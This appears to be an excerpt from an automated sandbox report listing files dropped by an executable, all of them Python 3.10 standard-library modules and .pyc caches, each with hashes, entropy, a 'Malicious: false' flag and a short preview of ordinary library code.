SSDEEP:	384:TM6ZJt/SHD+IfhNGV10wqP+6JdMYFGBCeA4Gm0Ir7bDQs61vwOQY2jxP+Qh3lL44:gWJtS+Ifh8D0wqP+6JdMYsBrA4GmzfbX
MD5:	84B19087FA1A9CEAD5730402768335E6
SHA1:	88B4BE7F25AD0A16A64C33EDC31FF5CCCF8E5EF4
SHA-256:	2975C677356A5A47E9B3D6DC677E31F5342575A4BCFECDD8F0D972B94D96E213
SHA-512:	9833085D8D36FB3B2184292B51381953B7821FCF40C5440A3C1A7CDCD2C1763120C8BDA9313DD5B34E13CEE7DC1DAA259CB0103F481AA0D61FCB4A95AD88A27D
Malicious:	false
Preview:	o.......=k;gfR.......................@...sZ...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.d.j.Z.d.j.Z.d.j.Z.G.d.d...d.e...Z.e.j.e.j...d...Z.e.d...Z.d.d...e.e.d.....e.e.e.e.......D...Z.e...e.d...d.e.d...d.i.....e...d.e...e.......j.Z.d.d...Z.e...d...Z.e...d...Z.d.d...Z.g.d...Z.g.d...Z.d.e.e.f.d.d...Z.G.d.d...d.e ..Z!d.Z"e"d ..Z#e...d!e"..d"..e#..d#..e.j$e.j%B...Z&G.d$d%..d%e ..Z'G.d&d'..d'e'..Z(d.S.)(a.....Here's a sample session to show how to use this module..At the moment, this is the only documentation...The Basics.----------..Importing is easy..... >>> from http import cookies..Most of the time you start by creating a cookie... >>> C = cookies.SimpleCookie()..Once you've created your Cookie, you can add values just as if it were.a dictionary... >>> C = cookies.SimpleCookie(). >>> C["fig"] = "newton". >>> C["sugar"] = "wafer". >>> C.output(). 'Set-Cookie: fig=newton\r\nSet-Cookie: sugar=wafer'..Notice that the printable representation of a Cookie is the.appropriate format for a

C:\recover\pw\Lib\http\pycache\cookies.cpython-310.pyc.74828224

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	15336
Entropy (8bit):	5.444331963864069
Encrypted:	false
SSDEEP:	384:K66ZJt/SHD+IfhNGV10wqP+6JdMYFGBCeA4Gm0Ir7bDQs61vwOQY2jxP+Qh3lL44:ZWJtS+Ifh8D0wqP+6JdMYsBrA4GmzfbX
MD5:	DECAB786AC135F2411ABF82C226DCD8C
SHA1:	B49EAF52DF77323B415FC032FBD6E0C16CC64390
SHA-256:	497E468F580E952B92E37F309E65E0A14FA76B2D51E98A3BCC14755510DA4F2B
SHA-512:	6A088B287C4869E100E3E1FA097BF096298CD3E2205F0299EE7A0F9ABDACC0FC46F4CCE8B9682E6446F5DDDC3C4B1D9222A615401A71CF1A30BB73232D40AEE3
Malicious:	false
Preview:	o.........SgfR.......................@...sZ...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.d.j.Z.d.j.Z.d.j.Z.G.d.d...d.e...Z.e.j.e.j...d...Z.e.d...Z.d.d...e.e.d.....e.e.e.e.......D...Z.e...e.d...d.e.d...d.i.....e...d.e...e.......j.Z.d.d...Z.e...d...Z.e...d...Z.d.d...Z.g.d...Z.g.d...Z.d.e.e.f.d.d...Z.G.d.d...d.e ..Z!d.Z"e"d ..Z#e...d!e"..d"..e#..d#..e.j$e.j%B...Z&G.d$d%..d%e ..Z'G.d&d'..d'e'..Z(d.S.)(a.....Here's a sample session to show how to use this module..At the moment, this is the only documentation...The Basics.----------..Importing is easy..... >>> from http import cookies..Most of the time you start by creating a cookie... >>> C = cookies.SimpleCookie()..Once you've created your Cookie, you can add values just as if it were.a dictionary... >>> C = cookies.SimpleCookie(). >>> C["fig"] = "newton". >>> C["sugar"] = "wafer". >>> C.output(). 'Set-Cookie: fig=newton\r\nSet-Cookie: sugar=wafer'..Notice that the printable representation of a Cookie is the.appropriate format for a

C:\recover\pw\Lib\http\client.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	58321
Entropy (8bit):	4.406436591744728
Encrypted:	false
SSDEEP:	1536:l3z+32B5SQi1oScyNzBooOSlNcVkACLogKRkRAW5U:l3z+32B5SQi1oScyNzBooOSl4CLoRkRM
MD5:	5D6BFC608ECF70840D6DE2795FD69F1F
SHA1:	17F160F07B156F498D251E189408CBFC5730EA86
SHA-256:	1E627D49863719FE81EEC9EC3CE3A11263E24848F7F9A0DC01DF515971E6ACF5
SHA-512:	AB562C2CB8243109F74C44AD157EA470181581114D42907F76B89B65B7CAAD745B6C0EF39F91AAA02146F1E67C68A244FFFDC0B00E83405A34060E4F84DD0655
Malicious:	false
Preview:	r"""HTTP/1.1 client library....<intro stuff goes here>..<other stuff, too>....HTTPConnection goes through a number of "states", which define when a client..may legally make another request or fetch the response for a particular..request. This diagram details these state transitions:.... (null).. \|.. \| HTTPConnection().. v.. Idle.. \|.. \| putrequest().. v.. Request-started.. \|.. \| ( putheader() )* endheaders().. v.. Request-sent.. \|\_____________________________.. \| \| getresponse() raises.. \| response = getresponse() \| ConnectionError.. v v.. Unread-response Idle.. [Response-headers-read].. \|\____________________.. \| \|.. \| response.read() \| putrequest().. v v.. Idle Req-started-unread-response.. ______/\|.. /

C:\recover\pw\Lib\http\cookiejar.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	79540
Entropy (8bit):	4.458584258215225
Encrypted:	false
SSDEEP:	1536:Gsf5OCLTKr88g99gZ5m2SLbzf7bbV2VwRyx67wF:G037jgZ5YD/I6Rs6UF
MD5:	C1F3927D2E339DE399959A069F045EC6
SHA1:	B70C655321DBD6F9D95342962FFE39BDA26CCBAF
SHA-256:	55A941BAB49900DC61701C80397554F2F79BF235A26D75DCFF96D20278097D87
SHA-512:	548E40EB51392C99C16A241A12CDBBDD0C4697BC1A4CEF3F6E7AF7BCB966AD41D6EE88E899A9C86735246CDEC569A4155362E4D614E0925921097928EE9A3978
Malicious:	false
Preview:	r"""HTTP cookie handling for web clients.....This module has (now fairly distant) origins in Gisle Aas' Perl module..HTTP::Cookies, from the libwww-perl library.....Docstrings, comments and debug strings in this code refer to the..attributes of the HTTP cookie system as cookie-attributes, to distinguish..them clearly from Python attributes.....Class diagram (note that BSDDBCookieJar and the MSIE* classes are not..distributed with the Python standard library, but are available from..http://wwwsearch.sf.net/):.... CookieJar____.. / \ \.. FileCookieJar \ \.. / \| \ \ \.. MozillaCookieJar \| LWPCookieJar \ \.. \| \| \.. \| ---MSIEBase \| \.. \| / \| \| \.. \| / MSIEDBCookieJar BSDDBCookieJar.. \|/.. MSIECookieJar...."""....__all__ = ['Cookie', 'Cook

C:\recover\pw\Lib\http\cookies.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	21094
Entropy (8bit):	4.737928355464598
Encrypted:	false
SSDEEP:	384:ShNUZtUx0dqJ1sJxttmT+tOVVyeuPFcLIcfOuu7jvxyXWNYN:ShNUZmx0dCsNPFGIcfyM+YN
MD5:	BB19E50B174A51A5972C7DFD8F142ADB
SHA1:	FE6E9FB17F72042FF2EF00FC6E7F5C51631D2F3C
SHA-256:	D049D9DE921DD9A2D13CD205FC0ABED14691CDDC8BA6F3C174653AF938ECD79F
SHA-512:	993B3238D231137B5E703FC4ADC0FD2A263A6EB7D07FDBFCA11DEEC422184A99C8ABAD6F2CE8F6A36C253D5967BAE8BA921261C636BE4F4B4A3B7D22A05EB27A
Malicious:	false
Preview:	####..# Copyright 2000 by Timothy O'Malley <timo@alum.mit.edu>..#..# All Rights Reserved..#..# Permission to use, copy, modify, and distribute this software..# and its documentation for any purpose and without fee is hereby..# granted, provided that the above copyright notice appear in all..# copies and that both that copyright notice and this permission..# notice appear in supporting documentation, and that the name of..# Timothy O'Malley not be used in advertising or publicity..# pertaining to distribution of the software without specific, written..# prior permission...#..# Timothy O'Malley DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS..# SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY..# AND FITNESS, IN NO EVENT SHALL Timothy O'Malley BE LIABLE FOR..# ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES..# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,..# WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS..# ACTION, ARISING

C:\recover\pw\Lib\http\server.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	49514
Entropy (8bit):	4.578488993320622
Encrypted:	false
SSDEEP:	1536:lfngUjS+gSOsV6f0aKucGIEgA0Bw4ETVp5tU6N0YO:lvgUjS+7OsVQ0aKucGIEOBuTZN0YO
MD5:	A0E7352D69843F9F999D3EC06678E1B4
SHA1:	7FF7AFC9FB2D5B14A6FDC80882642092F472EE90
SHA-256:	C97B4D93BF1BB9DD82916677A95EF73AA8E73374E3EB9244F2E8560410965AE4
SHA-512:	41729951BAE2E77B3EA235B54A9A1F21792F6D202E4A658D894CE8E6AB063B3AD4D9824D0EE1CC94A0F826808E197E1E2E1BE48308AB504E8EEB97B9AB474E9D
Malicious:	false
Preview:	"""HTTP server classes.....Note: BaseHTTPRequestHandler doesn't implement any HTTP request; see..SimpleHTTPRequestHandler for simple implementations of GET, HEAD and POST,..and CGIHTTPRequestHandler for CGI scripts.....It does, however, optionally implement HTTP/1.1 persistent connections,..as of version 0.3.....Notes on CGIHTTPRequestHandler..------------------------------....This class implements GET and POST requests to cgi-bin scripts.....If the os.fork() function is not present (e.g. on Windows),..subprocess.Popen() is used as a fallback, with slightly altered semantics.....In all cases, the implementation is intentionally naive -- all..requests are executed synchronously.....SECURITY WARNING: DON'T USE THIS CODE UNLESS YOU ARE INSIDE A FIREWALL..-- it may execute arbitrary Python code or external programs.....Note that status code 200 is sent prior to execution of a CGI script, so..scripts cannot send other status codes such as 302 (redirect).....XXX To do:....- log requests even

C:\recover\pw\Lib\imaplib.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	56515
Entropy (8bit):	4.687424781884806
Encrypted:	false
SSDEEP:	1536:LxnlDvnsQeIBol2eKsBKOgE1IFWv4wem8YCY17JTBY:L9lbsQ5el2eKs4OgE1IFwDem8YN5Ri
MD5:	F26881E2906384DBE388BAFCC0A32393
SHA1:	9246F7D6A4DAD4FF9EA4BE73209A63A2B17CC2D3
SHA-256:	76B464DD9B86B5546E228A310B57C848F8B58533FDFBD19A95F55381192CA508
SHA-512:	2D45809961FDA91A0D7A9F2294FC0F865A05589FF2910C54B7A714175FB09DCAA5B760641F48520B11FDF3DEBDF992CE56873537B61EC826F4623FAF4A33D08B
Malicious:	false
Preview:	"""IMAP4 client.....Based on RFC 2060.....Public class: IMAP4..Public variable: Debug..Public functions: Internaldate2tuple.. Int2AP.. ParseFlags.. Time2Internaldate.."""....# Author: Piers Lauder <piers@cs.su.oz.au> December 1997...#..# Authentication code contributed by Donn Cave <donn@u.washington.edu> June 1998...# String method conversion by ESR, February 2001...# GET/SETACL contributed by Anthony Baxter <anthony@interlink.com.au> April 2001...# IMAP4_SSL contributed by Tino Lange <Tino.Lange@isg.de> March 2002...# GET/SETQUOTA contributed by Andreas Zeidler <az@kreativkombinat.de> June 2002...# PROXYAUTH contributed by Rick Holbert <holbert.13@osu.edu> November 2002...# GET/SETANNOTATION contributed by Tomas Lindroos <skitta@abo.fi> June 2005.....__version__ = "2.58"....import binascii, errno, random, re, socket, subprocess, sys, time, calendar..from datetime import datetime, timezone, tim

C:\recover\pw\Lib\imghdr.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3976
Entropy (8bit):	4.730395972681575
Encrypted:	false
SSDEEP:	96:MwbIH3M4Hmme6v5At+TXksO2E2+kqaQG6q8GjHjKkz:MRDcaKs/QCpjHjKkz
MD5:	DFFC1936F5CECC4DD8901EA2B924BA1D
SHA1:	7A09F45AE6DE63DABFD951C904ACBD1BB6316D76
SHA-256:	E01288F17006090085CE2CEFB5C8CE94BF0E7D441EEC70BA57BD70034C886899
SHA-512:	2F826D923DD26CB58EAD8F2CB7D56B7C3317D59EF0CDA51C8BA0B126DE39946286F75978249150F3828C088C5A01F605895081262A90A6DD51B763B2C34AFBE2
Malicious:	false
Preview:	"""Recognize image file formats based on their first few bytes."""....from os import PathLike....__all__ = ["what"]....#-------------------------#..# Recognize image headers #..#-------------------------#....def what(file, h=None):.. f = None.. try:.. if h is None:.. if isinstance(file, (str, PathLike)):.. f = open(file, 'rb').. h = f.read(32).. else:.. location = file.tell().. h = file.read(32).. file.seek(location).. for tf in tests:.. res = tf(h, f).. if res:.. return res.. finally:.. if f: f.close().. return None......#---------------------------------#..# Subroutines per image file type #..#---------------------------------#....tests = []....def test_jpeg(h, f):.. """JPEG data in JFIF or Exif format""".. if h[6:10] in (b'JFIF', b'Exif'):.. return 'jpeg'....tests.append(test_jpeg)....def test_png(h, f):..

C:\recover\pw\Lib\imp.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	10937
Entropy (8bit):	4.78644206171614
Encrypted:	false
SSDEEP:	192:w7D45FhQzMd3kVK+bhhVA02690t/93v5lGbqRDnZfOmSdF2p:wg+WkVK+lhVAuU9xlGuR1nW2p
MD5:	B961B5EA8D2A81594CB59270C55A9412
SHA1:	68C059B59A0FB1E697F56DE9894842E07EF549DB
SHA-256:	22455CCD2ECA0C0F032603FCEF28684DF795450E402C1E98AC8039AC9E6CA5E6
SHA-512:	6B04010B64BA3232CE1401DEA03FA97E12E374D168EA9F1E441B60D532F45B53D56814AC73EB78B0AE32C0F2CAAF0E2CDA802A8FF10E28D7EAA73CFAA6220874
Malicious:	false
Preview:	"""This module provides the components needed to build your own __import__..function. Undocumented functions are obsolete.....In most cases it is preferred you consider using the importlib module's..functionality over this module....."""..# (Probably) need to stay in _imp..from _imp import (lock_held, acquire_lock, release_lock,.. get_frozen_object, is_frozen_package,.. init_frozen, is_builtin, is_frozen,.. _fix_co_filename)..try:.. from _imp import create_dynamic..except ImportError:.. # Platform doesn't support dynamic loading... create_dynamic = None....from importlib._bootstrap import _ERR_MSG, _exec, _load, _builtin_from_name..from importlib._bootstrap_external import SourcelessFileLoader....from importlib import machinery..from importlib import util..import importlib..import os..import sys..import tokenize..import types..import warnings....warnings.warn("the imp module is deprecated in favour of importlib and slated "..

C:\recover\pw\Lib\importlib\pycache\init.cpython-310.pyc.65218176

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3803
Entropy (8bit):	5.530238628069794
Encrypted:	false
SSDEEP:	96:yuKEn4Gs1xwkB8/pIXEz66QncxK1p9W0j+VZzmF2Q8yIcOr:YEkKoMK1a0j+DmF2QZIh
MD5:	16AA507AF7331C1FDE3B0881D65D2614
SHA1:	9B76DD2C8A1950296BC739650230F08AFBD0CE53
SHA-256:	CE033BA77461C25E376504935DAAFFA3F51372B60F75E799EEF116FFC3F1E35B
SHA-512:	5828EB95F1B9C28B758E4DACD25A7849363D170F1085BDA1464FD2FB35630B8D9ED33C4AC6C52EC763BD7080A042882A830A80BB7452EC9BD94615BED588CB0E
Malicious:	false
Preview:	o.........Sgy........................@...sT...d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.z.d.d.l.Z.W.n...e.y)......d.d.l.m.Z...e...e.e.....Y.n.w.d.e._.d.e._.z.e...d.d...e._.W.n...e.yB......Y.n.w.e.e.j.d.<.z.d.d.l.Z.W.n...e.ye......d.d.l.m.Z...e...e.....e.e._.Y.n.w.d.e._.d.e._.z.e...d.d...e._.W.n...e.y~......Y.n.w.e.e.j.d.<.e.j.Z.e.j.Z.d.d.l.Z.d.d.l.m.Z...d.d...Z.d.d.d...Z.d.d.d...Z.i.Z.d.d...Z.d.S.).z'A pure Python implementation of import.)...__import__..import_module..invalidate_caches..reload.....N.....)..._bootstrapz.importlib._bootstrap..importlibz.__init__.pyz._bootstrap.py)..._bootstrap_externalz.importlib._bootstrap_externalz._bootstrap_external.py).r....c....................C...s"...t.j.D.].}.t.\|.d...r.\|.......q.d.S.).zmCall the invalidate_caches() method on all meta path finders stored in. sys.meta_path (where implemented).r....N)...sys..meta_path..hasattrr....)...finder..r.....'C:\recover\pw\lib\importlib\__init__.pyr....A...s..............r....c....................C...s....t.j.d.t.d.d.

C:\recover\pw\Lib\importlib\pycache\_abc.cpython-310.pyc.65082960

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	5.000038893258872
Encrypted:	false
SSDEEP:	48:bGYO7KXEXsuXrqj9FXHRLSVRibTAsKhnsRyy:prEXhXrqhFXHPTbIsZ
MD5:	D7A6C0BC5C5CA0DE141AB685BB235405
SHA1:	722D77F10299F16B7C72687FEAA46B5E148DE17A
SHA-256:	9332B2F9F8FAE364CED09383ECB0748AC86EB7B1894EE1D8C84A25A20EF1A88E
SHA-512:	CB7C33E90371D0D2AD3258E48B697367A3E8C9AF244BCA7B13FB4C6D64A215DE71BE31427037015FA6588680DCC73A81850BE7EF74C13D240DA1E8CF8CEF3A18
Malicious:	false
Preview:	o.........Sgr........................@...s8...d.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.G.d.d...d.e.j.d...Z.d.S.).z>Subset of importlib.abc used to reduce importlib.util imports......)..._bootstrap.....Nc....................@...s(...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...Loaderz'Abstract base class for import loaders.c....................C...s....d.S.).z.Return a module to initialize and into which to load... This method should raise ImportError if anything prevents it. from creating a new module. It may return None to indicate. that the spec should create the new module.. N..)...self..specr....r.....#C:\recover\pw\lib\importlib\_abc.py..create_module....s......z.Loader.create_modulec....................C...s....t.\|.d...s.t...t...\|.\|...S.).a....Return the loaded module... The module must be added to sys.modules and have import-related. attributes set properly. The fullname is a str... ImportError is raised on failure... This method i

C:\recover\pw\Lib\importlib\pycache\_adapters.cpython-310.pyc.74663456

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3701
Entropy (8bit):	4.6464039037898015
Encrypted:	false
SSDEEP:	96:bdiphyWa11p/5cIBqNU79FhTEnKIgVFKOmuD79VsUKyO9WoK/UML9Qa:OhyWGfxxB99FhkKIgDKONrsUK39WoK/L
MD5:	987B37C24E1C8BB61EECCE2ECB49DF9A
SHA1:	082B17B50BB8759393F5D81EAEA0782CE12A8E60
SHA-256:	49F17692F731872C2039B6ECC64979A27EBA0FA7268A355A580838850C71C3BC
SHA-512:	6EF78EFD51C6B745D9674851F5C6BE7E96B30AD013BFBF96095262D6D79280180E6F21BB173CBF66B2CAE598057C5DD2075F4C769B65254948E23996D07E243D
Malicious:	false
Preview:	o.........Sg.........................@...sN...d.d.l.m.Z...d.d.l.m.Z...G.d.d...d...Z.G.d.d...d...Z.G.d.d...d...Z.d.d...Z.d.S.)......)...suppress.....)...abcc....................@...s(...e.Z.d.Z.d.Z.d.d...f.d.d...Z.d.d...Z.d.S.)...SpecLoaderAdapterz>. Adapt a package spec to adapt the underlying loader.. c....................C...s....\|.j.S...N)...loader....spec..r.....(C:\recover\pw\lib\importlib\_adapters.py..<lambda>....s......z.SpecLoaderAdapter.<lambda>c....................C...s....\|.\|._.\|.\|...\|._.d.S.r....).r....r....)...selfr....Z.adapterr....r....r......__init__....s........z.SpecLoaderAdapter.__init__c....................C........t.\|.j.\|...S.r....)...getattrr......r......namer....r....r......__getattr__...........z.SpecLoaderAdapter.__getattr__N)...__name__..__module__..__qualname__..__doc__r....r....r....r....r....r....r........s............r....c....................@...s ...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.S.)...TraversableResourcesLoaderz9. Adapt a loader to provide Trav

C:\recover\pw\Lib\importlib\pycache\_common.cpython-310.pyc.75336744

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2965
Entropy (8bit):	5.17969469672821
Encrypted:	false
SSDEEP:	48:kfiZ38jH+kP4PY+InYalBABDu0ZLmJ2SOoHft3XlY2s03f/mm2vJviUeXrowab:kfipsH3AiYali7ZL7dillY2s033mm2vX
MD5:	AA95C930EA74031CE914C2042277FC63
SHA1:	40AFC44812780B7D5BE167121154FE5C2512AB1E
SHA-256:	7EB1A6DF196B6B3700DFFA6B9F7C906EC006C5A643F7A2A43586286D1652B8AC
SHA-512:	88FBDC87FDFAD8594E1718B1F2A470D29D02756AB2E346F087257296E7FB77679A4FFB33931F8708469D0ABA5D5C46AECB4ABFC54EE5812A3AAAE74861256399
Malicious:	false
Preview:	o.........Sg.........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...e.e.j.e.f...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.j.d.e.j.d...d.d.....Z.e.j.d.d.....Z.e...e.j...e.j.d.d.......Z d.S.)......N)...Union..Any..Optional.....)...ResourceReader..Traversable)...wrap_specc....................C...s....t.t.\|.....S.).z3. Get a Traversable resource from a package. )...from_package..get_package)...package..r.....&C:\recover\pw\lib\importlib\_common.py..files....s......r....c....................C...s....t.\|...}.t.j...\|...\.}.}.\|.r.t.\|...d.......\|.S.).z.Normalize a path by ensuring it is a string... If the resulting string contains path separators, an exception is raised.. z. must be only a file name)...str..os..path..split..ValueError).r....Z.str_path..parent..file_namer....r....r......normalize_path....s..............r....c....................C...s*...\|.j.}.t.\|.j.d.d...}.\|.d.u.r.d.S.\|.\|.j...

C:\recover\pw\Lib\importlib\pycache\abc.cpython-310.pyc.65271904

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	15889
Entropy (8bit):	5.104167956647122
Encrypted:	false
SSDEEP:	192:1zLB5HGaViuYo8vEVbFCibM/50LbCb1EVMXS6O9PzXDPJ8OoEAuDdPTaX/DOWP6s:1zDVnR8gC/50LbjVMA9PrWCDaX/P6s
MD5:	5B77E698F693C91450F4C325F6C456CD
SHA1:	DEB16AEFA06C987A5A6B7AFABECB6D7BAD23CA78
SHA-256:	9A8E6A4C965FC3BB16FDA435E42B3F03EE24783CE92AF69351E0380B9DC1FCB7
SHA-512:	3462AAF7447D203488AA12DD60DC39F295841E30E0E3945A7FBF2463D125C0A40EFD5C38CCBC39401B1A6E0C0A391DFD69F1741556876565B50AF52FDADCBAAC
Malicious:	false
Preview:	o.........Sg.:.......................@...s....d.Z.d.d.l.m.Z...d.d.l.m.Z...z.d.d.l.Z.W.n...e.y...Z...z.e.j.d.k.r"..d.Z.W.Y.d.Z.[.n.d.Z.[.w.w.z.d.d.l.Z.W.n...e.y@......e.Z.Y.n.w.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d...Z.G.d.d...d.e.j.d...Z.G.d.d...d.e.j.d...Z.e.e.e.j.e.j.e.j.e.j.....G.d.d...d.e.j.d...Z.e.e.e.j.....G.d.d...d.e...Z.G.d.d...d.e...Z.e.e.e.j.e.j.....G.d.d...d.e...Z.e.e.e.j ....G.d.d...d.e.j!e.e...Z!e.e!e.j"e.j#....G.d.d...d.e.j$e.e...Z$e.e$e.j"....G.d.d...d.e.j.d...Z%e.G.d.d ..d e.....Z&G.d!d"..d"e%..Z'd.S.)#z(Abstract base classes related to import......)..._bootstrap_external)...machinery.....N.._frozen_importlib)...Loader)...BinaryIO..Iterable..Text)...Protocol..runtime_checkablec....................G...sZ...\|.D.](}.\|...\|.....t.d.u.r*z.t.t.\|.j...}.W.n...t.y$......t.t.\|.j...}.Y.n.w.\|...\|.....q.d.S...N)...registerr......getattr..__name__..AttributeError.._frozen_importlib_external).Z.abstract_clsZ.classes..clsZ.frozen_cls..r....."C:\recover\pw\l

C:\recover\pw\Lib\importlib\pycache\machinery.cpython-310.pyc.65134272

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	942
Entropy (8bit):	5.379537870355145
Encrypted:	false
SSDEEP:	12:CtDkBAzUYcjBN/8XHmE16iGMwigQFM4u0LIX7OujdiXg8G943RXqnrmHO28sVtP:W2joXT16iGMJgQFpAquj8GsXsrmH58K
MD5:	B31AC11FF44BEFD56C7480853F0F3996
SHA1:	73A22C924F8EDFD1656B7155F2BCF5A814EFD3B1
SHA-256:	B8496989E87995112FA008725F6AA923228BCE7A6483C7DE5DCF393B602BAE13
SHA-512:	6A63ABEB768B1266C8B62D273DC19E4CDA029523D8644C0CEBFE2EBFF795A8FA56F01BFF7B82F5CF1D941B5DE1BC7CD27A5B1EA3548A396F589D043B262AAF8D
Malicious:	false
Preview:	o.........SgR........................@...s....d.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d...Z.d.S.).z9The machinery of importlib: finders, loaders, hooks, etc......)...ModuleSpec)...BuiltinImporter)...FrozenImporter)...SOURCE_SUFFIXES..DEBUG_BYTECODE_SUFFIXES..OPTIMIZED_BYTECODE_SUFFIXES..BYTECODE_SUFFIXES..EXTENSION_SUFFIXES)...WindowsRegistryFinder)...PathFinder)...FileFinder)...SourceFileLoader)...SourcelessFileLoader)...ExtensionFileLoaderc....................C...s....t.t...t...S.).zAReturns a list of all recognized module suffixes for this process).r....r....r......r....r.....(C:\recover\pw\lib\importlib\machinery.py..all_suffixes....s......r....N)...__doc__.._bootstrapr....r....r......_bootstrap_externalr....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r......<module>....s............................

C:\recover\pw\Lib\importlib\pycache\readers.cpython-310.pyc.75488120

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	5180
Entropy (8bit):	4.864898265661932
Encrypted:	false
SSDEEP:	96:BPvIoTQ1zsquRgowzdmCbBavWMPTjTzKuhXBoPTl906kEt7IQ7ClEXsjMptAWrxB:zQ1ztyvedlbB7IruuhXBoPTlK9EhIQOi
MD5:	A3A8CF66647E22C38F65877E3BE2833B
SHA1:	A2745E638655FA317B2BD4FE661C79E29BF23E9A
SHA-256:	D5DEB0DAA8C47C9EF2AA0D1837ED7DC1273B58FC3334253B64BF6D227DC7BDD5
SHA-512:	09377FBAA2EC3378B8298678AAE330BEF9F31C4A3AA79F88A36E8D72787708ED6A8990F39ECD0F926A94BE499445A087D428265B33721FFEA198870AE0C012E2
Malicious:	false
Preview:	o.........Sg~........................@...sx...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.d.S.)......N.....)...abcc....................C...s....t.t.j...\|.....S...N)...iter..collections..OrderedDict..fromkeys)...items..r.....&C:\recover\pw\lib\importlib\readers.py..remove_duplicates...........r....c....................@....$...e.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...FileReaderc....................C...s....t...\|.j...j.\|._.d.S.r....)...pathlib..Path..path..parent)...self..loaderr....r....r......__init__....s......z.FileReader.__init__c....................C........t.\|.j...\|.....S...z{. Return the file system path to prevent. `resources.path()` from creating a temporary. copy.. ....strr......joinpath..r......resourcer....r....r......resource_path...........z.FileReader.resource_pathc....................C........\|.j.S.r......r......r....r....r....r......files...........z.FileReader.filesN...._

C:\recover\pw\Lib\importlib\pycache\resources.cpython-310.pyc.74663264

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	5367
Entropy (8bit):	5.330848833464683
Encrypted:	false
SSDEEP:	96:vzYSudPIqJNGeMzW9dlfxV50JJgFGx6qjBfjO6y3SnKL49oNhbMrhKgTlv:vJBnS9xV5SJgGx6AjI3SKyhRTlv
MD5:	0975DE9CA5B7B17C051969D42A85F486
SHA1:	1CB8A50FE60F342F35159E013B52C4D944ECE9BF
SHA-256:	8C09C26679956854425604DE805667E2FD9D39BF37C780EE86EA239324FB0293
SHA-512:	9CEA9BD579128D188A8C0C2E40223DD6EC1BBC4DF18B595C7564D1454FE40F819168A9F7EDD18E3C556FDD40016BCF98291C1F601B1E9DFD86806789DC6F1832
Malicious:	false
